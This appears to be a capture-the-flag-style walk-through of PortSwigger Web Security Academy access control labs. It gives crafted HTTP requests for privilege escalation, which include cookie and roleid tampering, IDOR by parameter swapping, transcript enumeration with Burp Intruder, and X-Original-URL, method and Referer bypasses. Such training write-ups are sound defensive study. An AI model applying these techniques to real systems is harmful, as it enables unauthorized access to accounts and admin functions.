WebSecurityAcademy (PortSwigger) – Access control vulnerabilities

Walk-through of the Access control vulnerabilities lab on PortSwigger Web Security Academy.

Apprentice – Unprotected admin functionality

Access the robots.txt file.

https://<LAB ID>.web-security-academy.net/robots.txt
User-agent: *
Disallow: /administrator-panel

Go to the admin panel.

https://<LAB ID>.web-security-academy.net/administrator-panel

Click on the Delete link beside the user carlos.

Apprentice – Unprotected admin functionality with unpredictable URL

Inspect content from the home page.

                           <script>
var isAdmin = false;
if (isAdmin) {
   var topLinksTag = document.getElementsByClassName("top-links")[0];
   var adminPanelTag = document.createElement('a');
   adminPanelTag.setAttribute('href', '/admin-ihjk6w');
   adminPanelTag.innerText = 'Admin panel';
   topLinksTag.append(adminPanelTag);
   var pTag = document.createElement('p');
   pTag.innerText = '|';
   topLinksTag.appendChild(pTag);
}
</script>

Go to the admin panel..

https://<LAB ID>.web-security-academy.net/admin-ihjk6w

Click on the Delete link beside the user carlos.

Apprentice – User role controlled by request parameter

  • Click on My account and log in with credentials wiener/peter.
  • Enter /admin in the URL.
  • Send the request to the Repeater module in Burp Suite.
GET /admin HTTP/1.1
...
Cookie: Admin=false; session=<session toekn>
...

We can see a cookie Admin=false. Change its value to true and send the request.

GET /admin HTTP/1.1
...
Cookie: Admin=true; session=<session token>
...

We are get a server response with URLs to delete user carlos.

<a href="/admin/delete?username=carlos">Delete</a>

Change /admin for /admin/delete?username=carlos and send the request to solve the lab.

GET /admin/delete?username=carlos HTTP/1.1
...
Cookie: Admin=true; session=<session token>

Apprentice – User role can be modified in user profile

  • Click on My account and log in with credentials wiener/peter.
  • Enter a new email address and click Update email.
  • Send the request to the Repeater module in Burp Suite.
POST /my-account/change-email HTTP/1.1
...

{"email":"whatever@example.com"}
HTTP/1.1 302 Found
Location: /my-account
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 124

{
  "username": "wiener",
  "email": "whatever@example.com",
  "apikey": "<key>",
  "roleid": 1
}

We see that roleid is 1. Try to update the roleid to 2 with the email update request.

POST /my-account/change-email HTTP/1.1
...

{"email":"whatever@example.com",
"roleid":2}

It worked. Enter /admin in the URL and click on the Delete link beside carlos.

Apprentice – User ID controlled by request parameter

To solve the lab, obtain the API key for the user carlos and submit it as the solution.

  • Click on My account and log in with credentials wiener/peter.
  • Click again on My account. Parameter id=wiener is added in the URL.
  • Change /my-account?id=wiener to /my-account?id=carlos.
Your username is: carlos

Your API Key is: aPTGvxVdWtKM18AiJzRfwoGl9r4VNtrj

Click on Submit solution with carlos’ API key.

Apprentice – User ID controlled by request parameter, with unpredictable user IDs

To solve the lab, find the GUID for carlos, then submit his API key as the solution.

Click on the first post (“Scams”, postid=6). It was written by user carlos. The page contains the userId.

<span id=blog-author><a href='/blogs?userId=d410d876-8e02-4c90-8836-adfefa7481ef'>carlos</a></span>

userId=d410d876-8e02-4c90-8836-adfefa7481ef

  • Click on My account and log in with credentials wiener/peter.
  • Click again on My account. Parameter id=fba47a47-5754-4291-956f-a6e7bf1aa948 is added in the URL.
  • Change /my-account?id=fba47a47-5754-4291-956f-a6e7bf1aa948 to /my-account?id=d410d876-8e02-4c90-8836-adfefa7481ef.
Your username is: carlos

Your API Key is: xzgF4hmuNun9jXBDMgqdADGEZM4kbdk1

Click on Submit solution with carlos’ API key.

Apprentice – User ID controlled by request parameter with data leakage in redirect

To solve the lab, find the GUID for carlos, then submit his API key as the solution.

  • Click on My account and log in with credentials wiener/peter.
  • Click again on My account. Parameter id=wiener is added in the URL.
  • Change /my-account?id=wiener to /my-account?id=carlos.

The server responds with a URL redirect (302 Found), but the API Key of user carlos is included.

HTTP/1.1 302 Found
Location: /login
Content-Type: text/html; charset=utf-8
...

<div id=account-content>
<p>Your username is: carlos</p>
<div>Your API Key is: oqFPBh2oHiatBdR8v6L3NzWIe6lw6cBE</div>

Click on Submit solution with carlos’ API key.

Apprentice – User ID controlled by request parameter with password disclosure

  • Click on My account and log in with credentials wiener/peter.
  • Click again on My account. Parameter id=wiener is added in the URL.
  • Change /my-account?id=wiener to /my-account?id=administrator.
https://<LAB ID>.web-security-academy.net/my-account?id=administrator

Inspect the server’s response. The password is pre-filled within the password field.

<input required type=password name=password value='cxtrgl5ua57bluzrx6ms'/>
<button class='button' type='submit'> Update password </button>
  • Click on Log out.
  • Click on My account and log in with credentials administrator/cxtrgl5ua57bluzrx6ms.
  • Click on Admin panel.
  • Click on Delete beside user carlos to solve the lab.

Apprentice – Insecure direct object references

  • Click on My account and log in with credentials wiener/peter.
  • Click again on Live chat.
  • Enter any message and click on Send.
  • Click on View transcript.

Inspect requests in Burp Suite. The transcript is retrieved from file <number>.txt.

GET /download-transcript/3.txt HTTP/1.1
...

Send the request to the Intruder module. Make the number the varying part.

GET /download-transcript/§3§.txt HTTP/1.1

In the Payloads tab, select Numbers from 1 to 10, Step 1, Max fraction digits to 0 and click on Start attack. The first transcript is accessible and contains a password.

GET /download-transcript/1.txt HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Disposition: attachment; filename="1.txt"
Connection: close
Content-Length: 520

CONNECTED: -- Now chatting with Hal Pline --
You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one
Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's correct or not.
You: Wow you're so nice, thanks. I've heard from other people that you can be a right ****
Hal Pline: Takes one to know one
You: Ok so my password is tp6a4cjro8ynnbtho9xh. Is that right?
Hal Pline: Yes it is!
You: Ok thanks, bye!
Hal Pline: Do one!

Log in with user carlos/tp6a4cjro8ynnbtho9xh to solve the lab.

Practitioner – URL-based access control can be circumvented

Click on Admin panel.

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 15

"Access denied"

Send request from the Home page (“/”) to the Repeater module and add the X-Original-URL header.

GET / HTTP/1.1
...
X-Original-URL: /whatever
HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 11

"Not Found"

Change the X-Original-URL header to /admin to access the page.

GET / HTTP/1.1
...
X-Original-URL: /admin
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Connection: close
Content-Length: 2870

<!DOCTYPE html>
...
<a href="/admin/delete?username=carlos">
...

Delete user carlos to solve the lab. NOTE: Add the username parameter in the request and NOT in the X-Original-URL header.

GET /?username=carlos HTTP/1.1
...
X-Original-URL: /admin/delete

Practitioner – Method-based access control can be circumvented

  • Click on My account and log in with credentials wiener/peter.
  • Try to access /admin. You will get a response “401 Unauthorized”.
  • Log in with credentials administrator/admin.
  • Click to upgrade user carlos and inspect requests.
POST /admin-roles HTTP/1.1
...

username=carlos&action=upgrade
  • Log out of the administrator account and log in with credentials wiener/peter.
  • Send any request to the Repeater module and modify it to upgrade wiener’s role.
GET /admin-roles?username=wiener&action=upgrade HTTP/1.1

Practitioner – Multi-step process with no access control on one step

  • Click on My account and log in with credentials wiener/peter.
  • Try to access /admin. You will get a response “401 Unauthorized”.
  • Log in with credentials administrator/admin.
  • Click to upgrade user carlos and inspect requests.
POST /admin-roles HTTP/1.1
...

username=carlos&action=upgrade

Click to confirm.

POST /admin-roles HTTP/1.1
...

action=upgrade&confirmed=true&username=carlos
  • Log out of the administrator account and log in with credentials wiener/peter.
  • Send any request to the Repeater module and modify it to upgrade wiener’s role.
POST /admin-roles HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=<SESSION TOKEN FOR WIENER>
...

username=wiener&action=upgrade&confirmed=true

Practitioner – Referer-based access control

  • Click on My account and log in with credentials wiener/peter.
  • Try to access /admin. You will get a response “401 Unauthorized”.
  • Log in with credentials administrator/admin.
  • Click to upgrade user carlos and inspect requests.
GET /admin-roles?username=carlos&action=upgrade HTTP/1.1
...
Referer: https://<LAB ID>.web-security-academy.net/admin
...
  • Log out of the administrator account and log in with credentials wiener/peter.
  • Send any request to the Repeater module and modify it to upgrade wiener’s role.
GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
...
Referer: https://<LAB ID>.web-security-academy.net/admin
...